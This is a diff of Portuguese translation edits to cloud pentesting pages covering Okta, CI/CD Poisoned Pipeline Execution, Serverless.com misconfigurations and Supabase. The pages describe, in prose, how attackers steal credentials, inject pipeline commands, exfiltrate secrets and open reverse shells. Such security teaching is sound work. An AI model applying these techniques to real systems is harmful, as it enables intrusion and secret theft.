Na página dos Provedores de Identidade, você pode adicionar logins sociais (IdPs) e configurar o Okta como um provedor de serviços (SP) adicionando SAML de entrada. Depois de adicionar IdPs, você pode configurar regras de roteamento para direcionar usuários a um IdP com base no contexto, como a localização do usuário, dispositivo ou domínio de e-mail.
|
||||
|
||||
@@ -142,7 +142,7 @@ Novamente, verifique isso, pois um atacante comprometendo o AD de uma organizaç
|
||||
|
||||
Uma zona de rede é um limite configurável que você pode usar para **conceder ou restringir acesso a computadores e dispositivos** em sua organização com base no **endereço IP** que está solicitando acesso. Você pode definir uma zona de rede especificando um ou mais endereços IP individuais, intervalos de endereços IP ou locais geográficos.
|
||||
|
||||
Depois de definir uma ou mais zonas de rede, você pode **usá-las em Políticas de Sessão Globais**, **políticas de autenticação**, notificações de VPN e **regras de roteamento**.
|
||||
Depois de definir uma ou mais zonas de rede, você pode **usá-las em Políticas de Sessão Global**, **políticas de autenticação**, notificações de VPN e **regras de roteamento**.
|
||||
|
||||
Do ponto de vista de um atacante, é interessante saber quais IPs são permitidos (e verificar se algum **IP é mais privilegiado** que outros). Do ponto de vista de um atacante, se os usuários devem acessar de um endereço IP ou região específica, verifique se esse recurso está sendo usado corretamente.
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Methodology
|
||||
# Metodologia de Pentesting CI/CD
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS significa **Sistema de Controle de Versão**, esses sistemas permitem que os desenvolvedores **gerenciem seu código-fonte**. O mais comum é **git** e você geralmente encontrará empresas usando-o em uma das seguintes **plataformas**:
|
||||
VCS significa **Version Control System**, esses sistemas permitem que os desenvolvedores **gerenciem seu código-fonte**. O mais comum é o **git** e você geralmente encontrará empresas usando-o em uma das seguintes **plataformas**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -14,13 +14,13 @@ VCS significa **Sistema de Controle de Versão**, esses sistemas permitem que os
|
||||
- Gitea
|
||||
- Provedores de nuvem (eles oferecem suas próprias plataformas VCS)
|
||||
|
||||
## CI/CD Pipelines
|
||||
## Pipelines CI/CD
|
||||
|
||||
Os pipelines CI/CD permitem que os desenvolvedores **automatizem a execução de código** para vários propósitos, incluindo construção, teste e implantação de aplicações. Esses fluxos de trabalho automatizados são **ativados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento à produção.
|
||||
As pipelines CI/CD permitem que os desenvolvedores **automatizem a execução de código** para vários propósitos, incluindo construção, teste e implantação de aplicações. Esses fluxos de trabalho automatizados são **ativados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento à produção.
|
||||
|
||||
No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para implantar código ou acessar informações sensíveis**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
## Metodologia de Pentesting VCS
|
||||
|
||||
> [!NOTE]
|
||||
> Mesmo que algumas plataformas VCS permitam criar pipelines, nesta seção vamos analisar apenas ataques potenciais ao controle do código-fonte.
|
||||
@@ -28,32 +28,32 @@ No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmen
|
||||
Plataformas que contêm o código-fonte do seu projeto contêm informações sensíveis e as pessoas precisam ter muito cuidado com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns em plataformas VCS que um atacante poderia explorar:
|
||||
|
||||
- **Leaks**: Se seu código contém leaks nos commits e o atacante pode acessar o repositório (porque é público ou porque ele tem acesso), ele poderia descobrir os leaks.
|
||||
- **Access**: Se um atacante pode **acessar uma conta dentro da plataforma VCS**, ele poderia ganhar **mais visibilidade e permissões**.
|
||||
- **Register**: Algumas plataformas permitirão apenas que usuários externos criem uma conta.
|
||||
- **Acesso**: Se um atacante pode **acessar uma conta dentro da plataforma VCS**, ele poderia ganhar **mais visibilidade e permissões**.
|
||||
- **Registro**: Algumas plataformas permitem apenas que usuários externos criem uma conta.
|
||||
- **SSO**: Algumas plataformas não permitirão que os usuários se registrem, mas permitirão que qualquer um acesse com um SSO válido (então um atacante poderia usar sua conta do github para entrar, por exemplo).
|
||||
- **Credentials**: Nome de usuário + Senha, tokens pessoais, chaves ssh, tokens Oauth, cookies... existem vários tipos de tokens que um usuário poderia roubar para acessar de alguma forma um repositório.
|
||||
- **Credenciais**: Nome de usuário + Senha, tokens pessoais, chaves ssh, tokens Oauth, cookies... existem vários tipos de tokens que um usuário poderia roubar para acessar de alguma forma um repositório.
|
||||
- **Webhooks**: As plataformas VCS permitem gerar webhooks. Se eles **não estiverem protegidos** com segredos não visíveis, um **atacante poderia abusar deles**.
|
||||
- Se nenhum segredo estiver em vigor, o atacante poderia abusar do webhook da plataforma de terceiros.
|
||||
- Se o segredo estiver na URL, o mesmo acontece e o atacante também terá o segredo.
|
||||
- **Code compromise:** Se um ator malicioso tiver algum tipo de **acesso de escrita** sobre os repositórios, ele poderia tentar **injetar código malicioso**. Para ter sucesso, ele pode precisar **contornar as proteções de branch**. Essas ações podem ser realizadas com diferentes objetivos em mente:
|
||||
- Se o segredo estiver na URL, o mesmo acontece e o atacante também tem o segredo.
|
||||
- **Comprometimento de código:** Se um ator malicioso tiver algum tipo de acesso **de escrita** sobre os repositórios, ele poderia tentar **injetar código malicioso**. Para ter sucesso, ele pode precisar **contornar as proteções de branch**. Essas ações podem ser realizadas com diferentes objetivos em mente:
|
||||
- Comprometer o branch principal para **comprometer a produção**.
|
||||
- Comprometer o principal (ou outros branches) para **comprometer as máquinas dos desenvolvedores** (já que eles geralmente executam testes, terraform ou outras coisas dentro do repositório em suas máquinas).
|
||||
- **Comprometer o pipeline** (ver próxima seção)
|
||||
- **Comprometer a pipeline** (ver próxima seção)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
## Metodologia de Pentesting de Pipelines
|
||||
|
||||
A maneira mais comum de definir um pipeline é usando um **arquivo de configuração CI hospedado no repositório** que o pipeline constrói. Este arquivo descreve a ordem dos trabalhos executados, condições que afetam o fluxo e configurações do ambiente de construção.\
|
||||
Esses arquivos geralmente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionado, o trabalho do pipeline **puxa o código** da fonte selecionada (por exemplo, commit / branch) e **executa os comandos especificados no arquivo de configuração CI** contra esse código.
|
||||
A maneira mais comum de definir uma pipeline é usando um **arquivo de configuração CI hospedado no repositório** que a pipeline constrói. Este arquivo descreve a ordem dos trabalhos executados, condições que afetam o fluxo e configurações do ambiente de construção.\
|
||||
Esses arquivos geralmente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionada, a tarefa da pipeline **puxa o código** da fonte selecionada (por exemplo, commit / branch) e **executa os comandos especificados no arquivo de configuração CI** contra esse código.
|
||||
|
||||
Portanto, o objetivo final do atacante é de alguma forma **comprometer esses arquivos de configuração** ou os **comandos que eles executam**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
### PPE - Execução de Pipeline Envenenado
|
||||
|
||||
O caminho Poisoned Pipeline Execution (PPE) explora permissões em um repositório SCM para manipular um pipeline CI e executar comandos prejudiciais. Usuários com as permissões necessárias podem modificar arquivos de configuração CI ou outros arquivos usados pelo trabalho do pipeline para incluir comandos maliciosos. Isso "envenena" o pipeline CI, levando à execução desses comandos maliciosos.
|
||||
O caminho de Execução de Pipeline Envenenado (PPE) explora permissões em um repositório SCM para manipular uma pipeline CI e executar comandos prejudiciais. Usuários com as permissões necessárias podem modificar arquivos de configuração CI ou outros arquivos usados pela tarefa da pipeline para incluir comandos maliciosos. Isso "envenena" a pipeline CI, levando à execução desses comandos maliciosos.
|
||||
|
||||
Para que um ator malicioso tenha sucesso ao realizar um ataque PPE, ele precisa ser capaz de:
|
||||
|
||||
- Ter **acesso de escrita à plataforma VCS**, já que geralmente os pipelines são acionados quando um push ou um pull request é realizado. (Ver a metodologia de pentesting VCS para um resumo das maneiras de obter acesso).
|
||||
- Ter **acesso de escrita à plataforma VCS**, já que geralmente as pipelines são acionadas quando um push ou um pull request é realizado. (Ver a metodologia de pentesting VCS para um resumo das maneiras de obter acesso).
|
||||
- Note que às vezes um **PR externo conta como "acesso de escrita"**.
|
||||
- Mesmo que ele tenha permissões de escrita, ele precisa ter certeza de que pode **modificar o arquivo de configuração CI ou outros arquivos dos quais a configuração depende**.
|
||||
- Para isso, ele pode precisar ser capaz de **contornar as proteções de branch**.
|
||||
@@ -62,42 +62,42 @@ Existem 3 sabores de PPE:
|
||||
|
||||
- **D-PPE**: Um ataque **Direto PPE** ocorre quando o ator **modifica o arquivo de configuração CI** que será executado.
|
||||
- **I-DDE**: Um ataque **Indireto PPE** ocorre quando o ator **modifica** um **arquivo** do qual o arquivo de configuração CI que será executado **depende** (como um arquivo make ou uma configuração terraform).
|
||||
- **Public PPE ou 3PE**: Em alguns casos, os pipelines podem ser **acionados por usuários que não têm acesso de escrita no repositório** (e que podem nem mesmo fazer parte da organização) porque podem enviar um PR.
|
||||
- **3PE Command Injection**: Geralmente, os pipelines CI/CD **definirão variáveis de ambiente** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **lugar perigoso** (como executar **comandos sh**), um atacante pode **injetar comandos ali**.
|
||||
- **PPE Público ou 3PE**: Em alguns casos, as pipelines podem ser **acionadas por usuários que não têm acesso de escrita no repositório** (e que podem nem mesmo fazer parte da organização) porque podem enviar um PR.
|
||||
- **Injeção de Comando 3PE**: Geralmente, as pipelines CI/CD **definem variáveis de ambiente** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **lugar perigoso** (como executar **comandos sh**), um atacante pode **injetar comandos ali**.
|
||||
|
||||
### Exploitation Benefits
|
||||
### Benefícios da Exploração
|
||||
|
||||
Conhecendo os 3 sabores para envenenar um pipeline, vamos verificar o que um atacante poderia obter após uma exploração bem-sucedida:
|
||||
Conhecendo os 3 sabores para envenenar uma pipeline, vamos verificar o que um atacante poderia obter após uma exploração bem-sucedida:
|
||||
|
||||
- **Secrets**: Como mencionado anteriormente, os pipelines requerem **privilégios** para seus trabalhos (recuperar o código, construí-lo, implantá-lo...) e esses privilégios geralmente são **concedidos em segredos**. Esses segredos geralmente são acessíveis via **variáveis de ambiente ou arquivos dentro do sistema**. Portanto, um atacante sempre tentará exfiltrar o máximo de segredos possível.
|
||||
- Dependendo da plataforma do pipeline, o atacante **pode precisar especificar os segredos na configuração**. Isso significa que se o atacante não puder modificar o pipeline de configuração CI (**I-PPE**, por exemplo), ele poderia **apenas exfiltrar os segredos que esse pipeline possui**.
|
||||
- **Computation**: O código é executado em algum lugar, dependendo de onde é executado, um atacante pode ser capaz de pivotar mais.
|
||||
- **On-Premises**: Se os pipelines são executados localmente, um atacante pode acabar em uma **rede interna com acesso a mais recursos**.
|
||||
- **Cloud**: O atacante poderia acessar **outras máquinas na nuvem**, mas também poderia **exfiltrar** tokens de **contas de serviço/roles IAM** para obter **mais acesso dentro da nuvem**.
|
||||
- **Platforms machine**: Às vezes, os trabalhos serão executados dentro das **máquinas da plataforma de pipelines**, que geralmente estão dentro de uma nuvem com **nenhum acesso adicional**.
|
||||
- **Select it:** Às vezes, a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração CI**, poderá **indicar onde deseja executar o código malicioso**. Nessa situação, um atacante provavelmente executará um shell reverso em cada máquina possível para tentar explorá-la mais.
|
||||
- **Compromise production**: Se você estiver dentro do pipeline e a versão final for construída e implantada a partir dele, você poderia **comprometer o código que acabará sendo executado em produção**.
|
||||
- **Segredos**: Como mencionado anteriormente, as pipelines requerem **privilégios** para suas tarefas (recuperar o código, construí-lo, implantá-lo...) e esses privilégios geralmente são **concedidos em segredos**. Esses segredos geralmente são acessíveis via **variáveis de ambiente ou arquivos dentro do sistema**. Portanto, um atacante sempre tentará exfiltrar o máximo de segredos possível.
|
||||
- Dependendo da plataforma da pipeline, o atacante **pode precisar especificar os segredos na configuração**. Isso significa que se o atacante não puder modificar a configuração da pipeline CI (**I-PPE**, por exemplo), ele poderia **apenas exfiltrar os segredos que a pipeline possui**.
|
||||
- **Computação**: O código é executado em algum lugar, dependendo de onde é executado, um atacante pode ser capaz de pivotar mais.
|
||||
- **On-Premises**: Se as pipelines são executadas localmente, um atacante pode acabar em uma **rede interna com acesso a mais recursos**.
|
||||
- **Nuvem**: O atacante poderia acessar **outras máquinas na nuvem**, mas também poderia **exfiltrar** tokens de contas de serviço/roles IAM **dela para obter** **acesso adicional dentro da nuvem**.
|
||||
- **Máquina da plataforma**: Às vezes, os trabalhos serão executados dentro das **máquinas da plataforma de pipelines**, que geralmente estão dentro de uma nuvem com **nenhum acesso adicional**.
|
||||
- **Selecione-a:** Às vezes, a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração CI**, poderá **indicar onde deseja executar o código malicioso**. Nessa situação, um atacante provavelmente executará um shell reverso em cada máquina possível para tentar explorá-la mais.
|
||||
- **Comprometer a produção**: Se você estiver dentro da pipeline e a versão final for construída e implantada a partir dela, você poderia **comprometer o código que acabará sendo executado em produção**.
|
||||
|
||||
## More relevant info
|
||||
## Mais informações relevantes
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
### Ferramentas & Benchmark CIS
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta de código aberto para auditar sua pilha de cadeia de suprimentos de software para conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de implantação.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta de código aberto para auditar sua pilha de cadeia de suprimentos de software para conformidade de segurança com base em um novo [**benchmark de Cadeia de Suprimentos de Software CIS**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de implantação.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
### Top 10 Riscos de Segurança CI/CD
|
||||
|
||||
Confira este artigo interessante sobre os 10 principais riscos de CI/CD de acordo com a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- Em cada plataforma que você pode executar localmente, você encontrará como lançá-la localmente para que possa configurá-la como quiser para testá-la.
|
||||
- Laboratório Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
- Lab Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
### Ferramentas Automáticas
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** é uma ferramenta de análise de código estático para infraestrutura como código.
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
||||
|
||||
|
||||
@@ -34,7 +34,7 @@ handler: handler.hello
|
||||
|
||||
Uma **Função** representa uma única função serverless, como uma função AWS Lambda. Ela contém o código que é executado em resposta a eventos.
|
||||
|
||||
Está definida na seção `functions` em `serverless.yml`, especificando o manipulador, runtime, eventos, variáveis de ambiente e outras configurações.
|
||||
Está definida na seção `functions` em `serverless.yml`, especificando o manipulador, tempo de execução, eventos, variáveis de ambiente e outras configurações.
|
||||
```yaml
|
||||
functions:
|
||||
hello:
|
||||
@@ -70,7 +70,7 @@ rate: rate(10 minutes)
|
||||
|
||||
<summary>Recurso</summary>
|
||||
|
||||
**Recursos** permitem que você defina recursos de nuvem adicionais dos quais seu serviço depende, como bancos de dados, buckets de armazenamento ou funções IAM.
|
||||
**Recursos** permitem que você defina recursos adicionais de nuvem dos quais seu serviço depende, como bancos de dados, buckets de armazenamento ou funções IAM.
|
||||
|
||||
Eles são especificados na seção `resources`, frequentemente usando a sintaxe do CloudFormation para AWS.
|
||||
```yaml
|
||||
@@ -254,7 +254,7 @@ plugins:
|
||||
|
||||
<summary>Hooks</summary>
|
||||
|
||||
**Hooks** permitem que você execute scripts ou comandos personalizados em pontos específicos do ciclo de vida da implantação. Eles são definidos usando plugins ou dentro do `serverless.yml` para realizar ações antes ou depois das implantações.
|
||||
**Hooks** permitem que você execute scripts ou comandos personalizados em pontos específicos do ciclo de vida de implantação. Eles são definidos usando plugins ou dentro do `serverless.yml` para realizar ações antes ou depois das implantações.
|
||||
```yaml
|
||||
custom:
|
||||
hooks:
|
||||
@@ -323,7 +323,7 @@ method: get
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
4. Crie um provedor AWS, acessando o **painel** em `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
|
||||
4. Crie um provedor AWS, acessando o **dashboard** em `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
|
||||
1. Para dar acesso ao `serverless.com` ao AWS, será solicitado que você execute uma pilha do cloudformation usando este arquivo de configuração (no momento da escrita): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
|
||||
2. Este template gera um papel chamado **`SFRole-<ID>`** com **`arn:aws:iam::aws:policy/AdministratorAccess`** sobre a conta com uma Identidade de Confiança que permite que a conta AWS do `Serverless.com` acesse o papel.
|
||||
|
||||
@@ -399,7 +399,7 @@ Type: String
|
||||
```
|
||||
</details>
|
||||
|
||||
5. O tutorial pede para criar o arquivo `createCustomer.js`, que basicamente criará um novo endpoint de API tratado pelo novo arquivo JS e pede para modificar o arquivo `serverless.yml` para que ele gere uma **nova tabela DynamoDB**, defina uma **variável de ambiente**, o papel que estará usando as lambdas geradas.
|
||||
5. O tutorial pede para criar o arquivo `createCustomer.js`, que basicamente criará um novo endpoint de API gerenciado pelo novo arquivo JS e pede para modificar o arquivo `serverless.yml` para que ele gere uma **nova tabela DynamoDB**, defina uma **variável de ambiente**, o papel que estará usando as lambdas geradas.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="createCustomer.js" }}
|
||||
@@ -481,19 +481,19 @@ TableName: ${self:service}-customerTable-${sls:stage}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
6. Implemente-o executando **`serverless deploy`**
|
||||
1. A implantação será realizada via um CloudFormation Stack
|
||||
2. Observe que as **lambdas estão expostas via API gateway** e não via URLs diretas
|
||||
7. **Teste-o**
|
||||
6. Faça o deploy executando **`serverless deploy`**
|
||||
1. O deployment será realizado via um CloudFormation Stack
|
||||
2. Note que as **lambdas estão expostas via API gateway** e não via URLs diretas
|
||||
7. **Teste**
|
||||
1. O passo anterior imprimirá as **URLs** onde suas funções lambda de endpoints da API foram implantadas
|
||||
|
||||
## Revisão de Segurança do Serverless.com
|
||||
|
||||
### **Funções e Permissões IAM Mal Configuradas**
|
||||
### **Papéis e Permissões IAM Mal Configurados**
|
||||
|
||||
Funções IAM excessivamente permissivas podem conceder acesso não autorizado a recursos em nuvem, levando a vazamentos de dados ou manipulação de recursos.
|
||||
Papéis IAM excessivamente permissivos podem conceder acesso não autorizado a recursos em nuvem, levando a vazamentos de dados ou manipulação de recursos.
|
||||
|
||||
Quando nenhuma permissão é especificada para uma função Lambda, uma função com permissões apenas para gerar logs será criada, como:
|
||||
Quando nenhuma permissão é especificada para uma função Lambda, um papel com permissões apenas para gerar logs será criado, como:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -545,7 +545,7 @@ Action:
|
||||
Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
|
||||
```
|
||||
|
||||
- **Use Funções Separadas:** Diferencie funções com base nos requisitos da função.
|
||||
- **Use Funções Separadas:** Diferencie funções com base nos requisitos.
|
||||
|
||||
---
|
||||
|
||||
@@ -553,7 +553,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
|
||||
|
||||
Armazenar informações sensíveis (por exemplo, chaves de API, credenciais de banco de dados) diretamente em **`serverless.yml`** ou código pode levar à exposição se os repositórios forem comprometidos.
|
||||
|
||||
A **maneira recomendada** de armazenar variáveis de ambiente no arquivo **`serverless.yml`** do serverless.com (no momento da redação) é usar os provedores `ssm` ou `s3`, que permitem obter os **valores de ambiente dessas fontes no momento da implantação** e **configurar** as variáveis de ambiente das **lambdas** com o **texto claro dos valores**!
|
||||
A maneira **recomendada** de armazenar variáveis de ambiente no arquivo **`serverless.yml`** do serverless.com (no momento da redação) é usar os provedores `ssm` ou `s3`, que permitem obter os **valores de ambiente dessas fontes no momento da implantação** e **configurar** as variáveis de ambiente das **lambdas** com o **texto claro dos valores**!
|
||||
|
||||
> [!CAUTION]
|
||||
> Portanto, qualquer pessoa com permissões para ler a configuração das lambdas dentro da AWS poderá **acessar todas essas variáveis de ambiente em texto claro!**
|
||||
@@ -671,7 +671,7 @@ Recursos compartilhados e isolamento inadequado podem levar a elevações de pri
|
||||
|
||||
#### **Estratégias de Mitigação**
|
||||
|
||||
- **Isolar Funções:** Atribua recursos e funções IAM distintos para garantir operação independente.
|
||||
- **Isolar Funções:** Atribua recursos distintos e funções IAM para garantir operação independente.
|
||||
- **Particionamento de Recursos:** Use bancos de dados ou buckets de armazenamento separados para diferentes funções.
|
||||
- **Usar VPCs:** Implante funções dentro de Nuvens Privadas Virtuais para melhor isolamento de rede.
|
||||
|
||||
@@ -714,7 +714,7 @@ SSEEnabled: true
|
||||
|
||||
### **Falta de Tratamento Adequado de Erros**
|
||||
|
||||
Mensagens de erro detalhadas podem vazar informações sensíveis sobre a infraestrutura ou a base de código, enquanto exceções não tratadas podem levar a falhas na aplicação.
|
||||
Mensagens de erro detalhadas podem vazar informações sensíveis sobre a infraestrutura ou base de código, enquanto exceções não tratadas podem levar a falhas de aplicação.
|
||||
|
||||
#### **Estratégias de Mitigação**
|
||||
|
||||
@@ -768,7 +768,7 @@ Usar plugins de terceiros não verificados ou maliciosos pode introduzir vulnera
|
||||
|
||||
### **Exposição de Endpoints Sensíveis**
|
||||
|
||||
Funções acessíveis publicamente ou APIs sem restrições podem ser exploradas para operações não autorizadas.
|
||||
Funções publicamente acessíveis ou APIs sem restrições podem ser exploradas para operações não autorizadas.
|
||||
|
||||
#### **Estratégias de Mitigação**
|
||||
|
||||
@@ -791,10 +791,10 @@ Conceder permissões excessivas a membros da equipe e colaboradores externos pod
|
||||
|
||||
### **Segurança de Chaves de Acesso e Chaves de Licença**
|
||||
|
||||
**Chaves de Acesso** e **Chaves de Licença** são credenciais críticas usadas para autenticar e autorizar interações com a CLI do Serverless Framework.
|
||||
**Chaves de Acesso** e **Chaves de Licença** são credenciais críticas usadas para autenticar e autorizar interações com o Serverless Framework CLI.
|
||||
|
||||
- **Chaves de Licença:** São identificadores únicos necessários para autenticar o acesso à Versão 4 do Serverless Framework, que permite login via CLI.
|
||||
- **Chaves de Acesso:** Credenciais que permitem que a CLI do Serverless Framework se autentique com o Dashboard do Serverless Framework. Ao fazer login com a CLI `serverless`, uma chave de acesso será **gerada e armazenada no laptop**. Você também pode configurá-la como uma variável de ambiente chamada `SERVERLESS_ACCESS_KEY`.
|
||||
- **Chaves de Licença:** São identificadores únicos necessários para autenticar o acesso à versão 4 do Serverless Framework, que permite login via CLI.
|
||||
- **Chaves de Acesso:** Credenciais que permitem que o Serverless Framework CLI se autentique com o Dashboard do Serverless Framework. Ao fazer login com o CLI `serverless`, uma chave de acesso será **gerada e armazenada no laptop**. Você também pode configurá-la como uma variável de ambiente chamada `SERVERLESS_ACCESS_KEY`.
|
||||
|
||||
#### **Riscos de Segurança**
|
||||
|
||||
@@ -807,6 +807,6 @@ Conceder permissões excessivas a membros da equipe e colaboradores externos pod
|
||||
4. **Falta de Rotação:**
|
||||
- Não girar regularmente as chaves estende o período de exposição se as chaves forem comprometidas.
|
||||
5. **Permissões Excessivas:**
|
||||
- Chaves com permissões amplas podem ser exploradas para realizar ações não autorizadas em vários recursos.
|
||||
- Chaves com permissões amplas podem ser exploradas para realizar ações não autorizadas em múltiplos recursos.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Supabase Security
|
||||
# Segurança do Supabase
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
De acordo com sua [**página de destino**](https://supabase.com/): Supabase é uma alternativa de código aberto ao Firebase. Comece seu projeto com um banco de dados Postgres, Autenticação, APIs instantâneas, Funções Edge, assinaturas em tempo real, Armazenamento e embeddings vetoriais.
|
||||
De acordo com sua [**página de aterrissagem**](https://supabase.com/): Supabase é uma alternativa de código aberto ao Firebase. Comece seu projeto com um banco de dados Postgres, Autenticação, APIs instantâneas, Funções Edge, assinaturas em tempo real, Armazenamento e embeddings vetoriais.
|
||||
|
||||
### Subdomínio
|
||||
|
||||
@@ -23,7 +23,7 @@ Portanto, como o subdomínio é conhecido e é usado como nome de usuário e as
|
||||
Esta seção também contém opções para:
|
||||
|
||||
- Redefinir a senha do banco de dados
|
||||
- Configurar o pool de conexões
|
||||
- Configurar o pooling de conexões
|
||||
- Configurar SSL: Rejeitar conexões em texto simples (por padrão, estão habilitadas)
|
||||
- Configurar o tamanho do disco
|
||||
- Aplicar restrições e proibições de rede
|
||||
@@ -33,7 +33,7 @@ Esta seção também contém opções para:
|
||||
> [!TIP]
|
||||
> **Esses dados podem ser acessados a partir de um link como `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
A URL para acessar a API supabase em seu projeto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
A URL para acessar a API do supabase em seu projeto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### chaves da API anon
|
||||
|
||||
@@ -43,7 +43,7 @@ Ele também gerará uma **chave da API anon** (`role: "anon"`), como: `eyJhbGciO
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
<summary>Cadastro (/auth/v1/signup)</summary>
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -119,7 +119,7 @@ Um **JWT Secret** também será gerado para que a aplicação possa **criar e as
|
||||
> Por **padrão**, o supabase permitirá que **novos usuários criem contas** em seu projeto usando os endpoints de API mencionados anteriormente.
|
||||
|
||||
No entanto, essas novas contas, por padrão, **precisarão validar seu endereço de e-mail** para poder fazer login na conta. É possível habilitar **"Permitir logins anônimos"** para permitir que as pessoas façam login sem verificar seu endereço de e-mail. Isso pode conceder acesso a **dados inesperados** (eles recebem os papéis `public` e `authenticated`).\
|
||||
Isso é uma ideia muito ruim porque o supabase cobra por usuário ativo, então as pessoas poderiam criar usuários e fazer login e o supabase cobraria por esses:
|
||||
Isso é uma ideia muito ruim porque o supabase cobra por usuário ativo, então as pessoas poderiam criar usuários e fazer login e o supabase cobrará por esses:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -152,8 +152,8 @@ Isso é uma ideia muito ruim porque o supabase cobra por usuário ativo, então
|
||||
- A conexão S3 é dada com uma URL como: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- É possível **solicitar uma chave de acesso S3** que é formada por um `access key ID` (por exemplo, `a37d96544d82ba90057e0e06131d0a7b`) e uma `secret access key` (por exemplo, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
|
||||
## Funções de Edge
|
||||
## Funções Edge
|
||||
|
||||
É possível **armazenar segredos** no supabase também, que serão **acessíveis por funções de edge** (elas podem ser criadas e excluídas pela web, mas não é possível acessar seu valor diretamente).
|
||||
É possível **armazenar segredos** no supabase também, que serão **acessíveis por funções edge** (elas podem ser criadas e excluídas pela web, mas não é possível acessar seu valor diretamente).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
[Dos docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
[Dos documentos:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform é uma **ferramenta de infraestrutura como código** que permite definir tanto **recursos em nuvem quanto locais** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo de seu ciclo de vida. O Terraform pode gerenciar componentes de baixo nível, como computação, armazenamento e recursos de rede, bem como componentes de alto nível, como entradas DNS e recursos SaaS.
|
||||
|
||||
@@ -18,7 +18,7 @@ A HashiCorp e a comunidade Terraform já escreveram **mais de 1700 provedores**
|
||||
|
||||
O fluxo de trabalho central do Terraform consiste em três etapas:
|
||||
|
